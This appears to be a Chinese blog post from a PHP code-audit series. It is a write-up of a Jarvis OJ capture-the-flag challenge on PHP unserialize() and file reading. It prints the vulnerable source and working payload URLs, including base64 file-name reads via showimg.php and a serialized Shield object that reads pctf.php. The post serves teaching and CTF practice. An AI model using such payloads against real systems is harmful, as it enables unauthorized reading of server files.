PHP代码审计分段讲解(10)
26 unserialize()序列化
<!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?> <!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
这道题目是PHP反序列的题目,比较基础。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
列举常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
这道题目只用到了__construct()方法,该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。

查看网页源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
猜测是base64编码,解码得到:

获取index.php的源代码,payload为:
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
查看源代码

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
可以看到包含了shield.php,继续查看shield.php的源代码 payload为:
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
再包含一下showimg.php :
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。
回到index.php
里面关键点在于:
$x = unserialize($g);
}
echo $x->readfile();
在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值:
isset($_GET['class']) && $g = $_GET['class'];
是我们可以控制的。
再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
根据类进行PHP在线环境进行反向构造即可

即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php
payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码为:

获得flag,是一道很基础的PHP反序列化题目
PHP代码审计分段讲解(10)的更多相关文章
- PHP代码审计分段讲解(14)
30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...
- PHP代码审计分段讲解(13)
代码审计分段讲解之29题,代码如下: <?php require("config.php"); $table = $_GET['table']?$_GET['table']: ...
- PHP代码审计分段讲解(11)
后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...
- PHP代码审计分段讲解(8)
20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...
- PHP代码审计分段讲解(4)
08 SESSION验证绕过 源代码为: <?php $flag = "flag"; session_start(); if (isset ($_GET['passw ...
- PHP代码审计分段讲解(1)
PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...
- PHP代码审计分段讲解(12)
28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...
- PHP代码审计分段讲解(9)
22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...
- PHP代码审计分段讲解(7)
17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...
随机推荐
- Centos 7挂载本地ISO光盘
在Linux系统上挂载系统镜像作为yum本地仓库或者安装某个常用RPM包. mount语法: mount -t 类型 -o 挂接方式 源路径 目标路径 -t 选项: iso9660:光盘或光盘镜像 m ...
- 在linux下,为什么 i386 ELF可执行文件默认从地址(.text)0x08048000开始分配。 而 x64是0x400000
- Exactly Once 语义
将服务器的 ACK 级别设置为-1,可以保证 Producer 到 Server 之间不会丢失数据,即 At Least Once 语义. 相对的,将服务器 ACK 级别设置为 0,可以保证生产者每条 ...
- 你只会用 StringBuilder?试试 StringJoiner,真香!
你只会用 StringBuilder/ StringBuffer 拼接字符串? 那你就 OUT 了!! 如果需要拼接分隔符的字符串,建议使用 Java 8 中的这款拼接神器:StringJoiner, ...
- mds/journal.cc: 2929: FAILED assert解决
前言 在处理一个其他双活MDS无法启动环境的时候,查看mds的日志看到了这个错误mds/journal.cc: 2929: FAILED assert(mds->sessionmap.get_v ...
- ceph卡在active+remapped状态
最近看到了有人的环境出现了出现了卡在active+remapped状态,并且卡住不动的状态,从pg的状态去看,这个pg值分配了主的pg,没有分配到副本的osd,集群的其他设置一切正常 这个从网上搜寻到 ...
- WIN10—更改电脑桌面路径
电脑默认的桌面路径一般都在C盘,而我们又特别喜欢把文件都放在桌面,因为桌面既方便又好找.可时间久了,桌面文件会越来越多,C盘空间会越来越小,会拖慢系统速度.怎么把系统桌面路径设置在非C盘呢?本期教程将 ...
- 企业级工作流解决方案(十二)--集成Abp和ng-alain--用户身份认证与权限验证
多租户 如果系统需要支持多租户,那么最好事先定义好多租户的存储部署方式,Abp提供了几种方式,根据需要选择,每一个用户身份认证与权限验证都需要完全的隔离 这里设计的权限数据全部存储在缓存中,每个租户单 ...
- 编译安装opssl
wget http://www.openssl.org/source/openssl-1.0.1q.tar.gz tar zxvf openssl-1.0.1q cd openssl-1.0.1q . ...
- JS指定音频audio在某个时间点进行播放,获取当前音频audio的长度,音频时长格式转化
前言: 今天接到一个需求,需要获取某个.mp3音频文件的时间长度和指定音频audio在某个时间点进行播放(比如说这个视频有4分钟,我要让它默认从第2秒的时候开始播放),这里当然想到了H5中的audio ...